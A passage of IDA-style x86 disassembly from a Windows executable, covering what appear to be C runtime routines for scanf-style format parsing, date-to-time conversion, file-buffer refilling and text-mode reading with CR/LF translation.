loc_41B2B4:				; CODE XREF: sub_41AD1D+592j
					; sub_41AD1D+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41B319
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41B300
		test	dl, dl
		jz	short loc_41B300
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41B300
		inc	edi
		cmp	dl, cl
		jnb	short loc_41B2D3
		mov	al, cl
		jmp	short loc_41B2D7
; ---------------------------------------------------------------------------


loc_41B2D3:				; CODE XREF: sub_41AD1D+5B0j
		mov	al, dl
		mov	dl, cl


loc_41B2D7:				; CODE XREF: sub_41AD1D+5B4j
		cmp	dl, al
		ja	short loc_41B2FC
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41B2E4:				; CODE XREF: sub_41AD1D+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41B2E4


loc_41B2FC:				; CODE XREF: sub_41AD1D+5BCj
		xor	dl, dl
		jmp	short loc_41B2B4
; ---------------------------------------------------------------------------


loc_41B300:				; CODE XREF: sub_41AD1D+5A0j
					; sub_41AD1D+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41B2B4
; ---------------------------------------------------------------------------


loc_41B319:				; CODE XREF: sub_41AD1D+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41B723
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41B32B
		mov	[ebp+arg_4], edi


loc_41B32B:				; CODE XREF: sub_41AD1D+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41B793
		pop	ecx
		pop	ecx


loc_41B342:				; CODE XREF: sub_41AD1D+6BCj
					; sub_41AD1D+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41B356
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41B3F2


loc_41B356:				; CODE XREF: sub_41AD1D+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41B3E6
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41B3E6
		cmp	[ebp+var_E], 0
		jnz	short loc_41B3DE
		cmp	[ebp+var_16], 0
		jz	short loc_41B3D3
		mov	ecx, ds:off_437D40
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B3B2
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_37], al


loc_41B3B2:				; CODE XREF: sub_41AD1D+686j
		push	ds:dword_437F4C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41DFAD
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41B3D6
; ---------------------------------------------------------------------------


loc_41B3D3:				; CODE XREF: sub_41AD1D+673j
		mov	[esi], al
		inc	esi


loc_41B3D6:				; CODE XREF: sub_41AD1D+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41B342
; ---------------------------------------------------------------------------


loc_41B3DE:				; CODE XREF: sub_41AD1D+66Dj
		inc	[ebp+var_30]
		jmp	loc_41B342
; ---------------------------------------------------------------------------


loc_41B3E6:				; CODE XREF: sub_41AD1D+649j
					; sub_41AD1D+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B793
		pop	ecx
		pop	ecx


loc_41B3F2:				; CODE XREF: sub_41AD1D+633j
		cmp	[ebp+var_30], esi
		jz	loc_41B723
		cmp	[ebp+var_E], 0
		jnz	loc_41B684
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41B684
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41B424
		and	word ptr [eax],	0
		jmp	loc_41B684
; ---------------------------------------------------------------------------


loc_41B424:				; CODE XREF: sub_41AD1D+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41B684
; ---------------------------------------------------------------------------


loc_41B42C:				; CODE XREF: sub_41AD1D+466j
		mov	[ebp+var_D], 1


loc_41B430:				; CODE XREF: sub_41AD1D+203j
					; sub_41AD1D+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41B43E
		mov	[ebp+var_17], 1
		jmp	short loc_41B443
; ---------------------------------------------------------------------------


loc_41B43E:				; CODE XREF: sub_41AD1D+719j
		cmp	ebx, 2Bh
		jnz	short loc_41B465


loc_41B443:				; CODE XREF: sub_41AD1D+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41B454
		cmp	[ebp+var_20], 0
		jz	short loc_41B454
		mov	[ebp+var_F], 1
		jmp	short loc_41B465
; ---------------------------------------------------------------------------


loc_41B454:				; CODE XREF: sub_41AD1D+729j
					; sub_41AD1D+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B779
		pop	ecx
		mov	ebx, eax


loc_41B462:				; CODE XREF: sub_41AD1D+543j
		mov	[ebp+var_14], ebx


loc_41B465:				; CODE XREF: sub_41AD1D+4FDj
					; sub_41AD1D+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41B57E
		cmp	[ebp+var_F], 0
		jnz	loc_41B55C


loc_41B479:				; CODE XREF: sub_41AD1D+82Cj
		cmp	esi, 78h
		jnz	short loc_41B4CD
		cmp	ds:dword_437F4C, 1
		jle	short loc_41B496
		push	80h
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41B4A3
; ---------------------------------------------------------------------------


loc_41B496:				; CODE XREF: sub_41AD1D+768j
		mov	eax, ds:off_437D40
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41B4A3:				; CODE XREF: sub_41AD1D+777j
		test	eax, eax
		jz	loc_41B54E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41E0A0
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41B742
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B520
; ---------------------------------------------------------------------------


loc_41B4CD:				; CODE XREF: sub_41AD1D+75Fj
		cmp	ds:dword_437F4C, 1
		jle	short loc_41B4E2
		push	4
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41B4ED
; ---------------------------------------------------------------------------


loc_41B4E2:				; CODE XREF: sub_41AD1D+7B7j
		mov	eax, ds:off_437D40
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B4ED:				; CODE XREF: sub_41AD1D+7C3j
		test	eax, eax
		jz	short loc_41B54E
		cmp	esi, 6Fh
		jnz	short loc_41B50B
		cmp	ebx, 38h
		jge	short loc_41B54E
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_41E0A0
		jmp	short loc_41B51A
; ---------------------------------------------------------------------------


loc_41B50B:				; CODE XREF: sub_41AD1D+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_415980


loc_41B51A:				; CODE XREF: sub_41AD1D+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41B520:				; CODE XREF: sub_41AD1D+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41B538
		dec	[ebp+var_C]
		jz	short loc_41B55C


loc_41B538:				; CODE XREF: sub_41AD1D+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41B479
; ---------------------------------------------------------------------------


loc_41B54E:				; CODE XREF: sub_41AD1D+788j
					; sub_41AD1D+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B793
		pop	ecx
		pop	ecx


loc_41B55C:				; CODE XREF: sub_41AD1D+756j
					; sub_41AD1D+819j
		cmp	[ebp+var_17], 0
		jz	loc_41B642
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41B642
; ---------------------------------------------------------------------------


loc_41B57E:				; CODE XREF: sub_41AD1D+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41B63A


loc_41B588:				; CODE XREF: sub_41AD1D+90Aj
		cmp	esi, 78h
		jz	short loc_41B5CC
		cmp	esi, 70h
		jz	short loc_41B5CC
		cmp	ds:dword_437F4C, 1
		jle	short loc_41B5A7
		push	4
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41B5B2
; ---------------------------------------------------------------------------


loc_41B5A7:				; CODE XREF: sub_41AD1D+87Cj
		mov	eax, ds:off_437D40
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41B5B2:				; CODE XREF: sub_41AD1D+888j
		test	eax, eax
		jz	short loc_41B62C
		cmp	esi, 6Fh
		jnz	short loc_41B5C5
		cmp	ebx, 38h
		jge	short loc_41B62C
		shl	edi, 3
		jmp	short loc_41B604
; ---------------------------------------------------------------------------


loc_41B5C5:				; CODE XREF: sub_41AD1D+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41B604
; ---------------------------------------------------------------------------


loc_41B5CC:				; CODE XREF: sub_41AD1D+86Ej
					; sub_41AD1D+873j
		cmp	ds:dword_437F4C, 1
		jle	short loc_41B5E4
		push	80h
		push	ebx
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41B5F1
; ---------------------------------------------------------------------------


loc_41B5E4:				; CODE XREF: sub_41AD1D+8B6j
		mov	eax, ds:off_437D40
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41B5F1:				; CODE XREF: sub_41AD1D+8C5j
		test	eax, eax
		jz	short loc_41B62C
		push	ebx
		shl	edi, 4
		call	sub_41B742
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41B604:				; CODE XREF: sub_41AD1D+8A6j
					; sub_41AD1D+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41B616
		dec	[ebp+var_C]
		jz	short loc_41B63A


loc_41B616:				; CODE XREF: sub_41AD1D+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41B588
; ---------------------------------------------------------------------------


loc_41B62C:				; CODE XREF: sub_41AD1D+897j
					; sub_41AD1D+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B793
		pop	ecx
		pop	ecx


loc_41B63A:				; CODE XREF: sub_41AD1D+865j
					; sub_41AD1D+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41B642
		neg	edi


loc_41B642:				; CODE XREF: sub_41AD1D+843j
					; sub_41AD1D+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41B64B
		and	[ebp+var_1C], 0


loc_41B64B:				; CODE XREF: sub_41AD1D+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41B723
		cmp	[ebp+var_E], 0
		jnz	short loc_41B684
		inc	[ebp+var_34]


loc_41B65E:				; CODE XREF: sub_41AD1D+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41B674
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41B684
; ---------------------------------------------------------------------------


loc_41B674:				; CODE XREF: sub_41AD1D+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41B681
		mov	[eax], edi
		jmp	short loc_41B684
; ---------------------------------------------------------------------------


loc_41B681:				; CODE XREF: sub_41AD1D+95Ej
		mov	[eax], di


loc_41B684:				; CODE XREF: sub_41AD1D+241j
					; sub_41AD1D+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41B6D1
; ---------------------------------------------------------------------------


loc_41B68F:				; CODE XREF: sub_41AD1D+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41B6FE
		mov	ecx, ds:off_437D40
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41B6D1
		inc	[ebp+var_4]
		push	edi
		call	sub_41B779
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41B70C
		dec	[ebp+var_4]


loc_41B6D1:				; CODE XREF: sub_41AD1D+970j
					; sub_41AD1D+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B6E7
		cmp	byte ptr [esi],	25h
		jnz	short loc_41B729
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41B729
		mov	esi, eax


loc_41B6E7:				; CODE XREF: sub_41AD1D+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41AD47
		jmp	short loc_41B723
; ---------------------------------------------------------------------------


loc_41B6F3:				; CODE XREF: sub_41AD1D+1F4j
					; sub_41AD1D+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41B703
; ---------------------------------------------------------------------------


loc_41B6FE:				; CODE XREF: sub_41AD1D+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41B703:				; CODE XREF: sub_41AD1D+9DFj
		call	sub_41B793
		pop	ecx
		pop	ecx
		jmp	short loc_41B723
; ---------------------------------------------------------------------------


loc_41B70C:				; CODE XREF: sub_41AD1D+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B793
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B793
		add	esp, 10h


loc_41B723:				; CODE XREF: sub_41AD1D+1Fj
					; sub_41AD1D+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41B73A


loc_41B729:				; CODE XREF: sub_41AD1D+9BDj
					; sub_41AD1D+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41B73D
		cmp	[ebp+var_15], al
		jnz	short loc_41B73D
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B73D
; ---------------------------------------------------------------------------


loc_41B73A:				; CODE XREF: sub_41AD1D+A0Aj
		mov	eax, [ebp+var_34]


loc_41B73D:				; CODE XREF: sub_41AD1D+A11j
					; sub_41AD1D+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AD1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B742	proc near		; CODE XREF: sub_41AD1D+7A3p
					; sub_41AD1D+8DCp

arg_0		= dword	ptr  4

		cmp	ds:dword_437F4C, 1
		push	esi
		jle	short loc_41B75C
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41B76B
; ---------------------------------------------------------------------------


loc_41B75C:				; CODE XREF: sub_41B742+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, ds:off_437D40
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B76B:				; CODE XREF: sub_41B742+18j
		test	eax, eax
		jnz	short loc_41B775
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41B775:				; CODE XREF: sub_41B742+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41B742	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: sub_41AD1D+1E1p
					; sub_41AD1D+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41B78B
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41B78B:				; CODE XREF: sub_41B779+7j
		push	edx
		call	sub_41B890
		pop	ecx
		retn
sub_41B779	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B793	proc near		; CODE XREF: sub_41AD1D+6Bp
					; sub_41AD1D+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41B7A9
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41E0BF
		pop	ecx
		pop	ecx

locret_41B7A9:				; CODE XREF: sub_41B793+5j
		retn
sub_41B793	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7AA	proc near		; CODE XREF: sub_41AD1D+63p
					; sub_41AD1D+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41B7B0:				; CODE XREF: sub_41B7AA+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41B779
		mov	edi, eax
		push	edi
		call	sub_41E075
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B7B0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41B7AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B7CE	proc near		; CODE XREF: seg000:00416B7Dp

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41B88A
		cmp	ebx, 8Ah
		jg	loc_41B88A
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, ds:dword_4387D4[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41B80D
		cmp	edi, 2
		jle	short loc_41B80D
		inc	esi


loc_41B80D:				; CODE XREF: sub_41B7CE+37j
					; sub_41B7CE+3Cj
		call	sub_41E12D
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, ds:dword_4386F0
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41B880
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41B886
		cmp	ds:dword_4386F4, 0
		jz	short loc_41B886
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41E3A0
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41B886


loc_41B880:				; CODE XREF: sub_41B7CE+90j
		add	ecx, ds:dword_4386F8


loc_41B886:				; CODE XREF: sub_41B7CE+96j
					; sub_41B7CE+9Fj ...
		mov	eax, ecx
		jmp	short loc_41B88D
; ---------------------------------------------------------------------------


loc_41B88A:				; CODE XREF: sub_41B7CE+13j
					; sub_41B7CE+1Fj
		or	eax, 0FFFFFFFFh


loc_41B88D:				; CODE XREF: sub_41B7CE+BAj
		pop	ebx
		leave
		retn
sub_41B7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B890	proc near		; CODE XREF: sub_416B90+A9p
					; sub_41711C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41B964
		test	al, 40h
		jnz	loc_41B964
		test	al, 2
		jz	short loc_41B8B6
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41B964
; ---------------------------------------------------------------------------


loc_41B8B6:				; CODE XREF: sub_41B890+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41B8CA
		push	esi
		call	sub_41D04C
		pop	ecx
		jmp	short loc_41B8CF
; ---------------------------------------------------------------------------


loc_41B8CA:				; CODE XREF: sub_41B890+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41B8CF:				; CODE XREF: sub_41B890+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41B969
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41B953
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B953
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41B928
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41B911
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, ds:dword_46A780[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41B916
; ---------------------------------------------------------------------------


loc_41B911:				; CODE XREF: sub_41B890+6Bj
		mov	edi, offset dword_4383A0


loc_41B916:				; CODE XREF: sub_41B890+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41B928
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41B928:				; CODE XREF: sub_41B890+62j
					; sub_41B890+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41B945
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41B945
		test	ch, 4
		jnz	short loc_41B945
		mov	dword ptr [esi+18h], 1000h


loc_41B945:				; CODE XREF: sub_41B890+9Fj
					; sub_41B890+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B953:				; CODE XREF: sub_41B890+55j
					; sub_41B890+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41B964:				; CODE XREF: sub_41B890+Aj
					; sub_41B890+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41B890	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B969	proc near		; CODE XREF: sub_416B90+90p
					; sub_41B890+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, ds:dword_46A880
		jnb	loc_41BB46
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:46A780h[eax*4]
		mov	eax, ds:dword_46A780[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41BB46
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41BA1E
		test	dl, 2
		jnz	short loc_41BA1E
		test	dl, 48h
		jz	short loc_41B9DE
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41B9DE
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41B9DE:				; CODE XREF: sub_41B969+56j
					; sub_41B969+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	ds:dword_421068
		test	eax, eax
		jnz	short loc_41BA31
		call	ds:dword_421088
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41BA19
		mov	ds:dword_469464, 9
		mov	ds:dword_469468, ecx
		jmp	loc_41BB57
; ---------------------------------------------------------------------------


loc_41BA19:				; CODE XREF: sub_41B969+99j
		cmp	eax, 6Dh
		jnz	short loc_41BA25


loc_41BA1E:				; CODE XREF: sub_41B969+4Cj
					; sub_41B969+51j
		xor	eax, eax
		jmp	loc_41BB5A
; ---------------------------------------------------------------------------


loc_41BA25:				; CODE XREF: sub_41B969+B3j
		push	eax
		call	sub_41C5B7
		pop	ecx
		jmp	loc_41BB57
; ---------------------------------------------------------------------------


loc_41BA31:				; CODE XREF: sub_41B969+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41BB41
		test	edx, edx
		jz	short loc_41BA56
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41BA56
		or	al, 4
		jmp	short loc_41BA58
; ---------------------------------------------------------------------------


loc_41BA56:				; CODE XREF: sub_41B969+E2j
					; sub_41B969+E7j
		and	al, 0FBh


loc_41BA58:				; CODE XREF: sub_41B969+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41BB3B


loc_41BA70:				; CODE XREF: sub_41B969+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41BB2B
		cmp	al, 0Dh
		jz	short loc_41BA8C
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41BB1D
; ---------------------------------------------------------------------------


loc_41BA8C:				; CODE XREF: sub_41B969+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41BAAA
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41BAA1
		add	[ebp+arg_8], 2
		jmp	short loc_41BAFF
; ---------------------------------------------------------------------------


loc_41BAA1:				; CODE XREF: sub_41B969+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41BB1D
; ---------------------------------------------------------------------------


loc_41BAAA:				; CODE XREF: sub_41B969+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_421068
		test	eax, eax
		jnz	short loc_41BAD2
		call	ds:dword_421088
		test	eax, eax
		jnz	short loc_41BB19


loc_41BAD2:				; CODE XREF: sub_41B969+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41BB19
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41BAF4
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41BAFF
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41BB1D
; ---------------------------------------------------------------------------


loc_41BAF4:				; CODE XREF: sub_41B969+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41BB04
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41BB04


loc_41BAFF:				; CODE XREF: sub_41B969+136j
					; sub_41B969+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41BB1C
; ---------------------------------------------------------------------------


loc_41BB04:				; CODE XREF: sub_41B969+18Ej
					; sub_41B969+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41BB5F
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41BB1D


loc_41BB19:				; CODE XREF: sub_41B969+167j
					; sub_41B969+16Dj
		mov	byte ptr [edi],	0Dh


loc_41BB1C:				; CODE XREF: sub_41B969+199j
		inc	edi


loc_41BB1D:				; CODE XREF: sub_41B969+11Ej
					; sub_41B969+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41BA70
		jmp	short loc_41BB3B
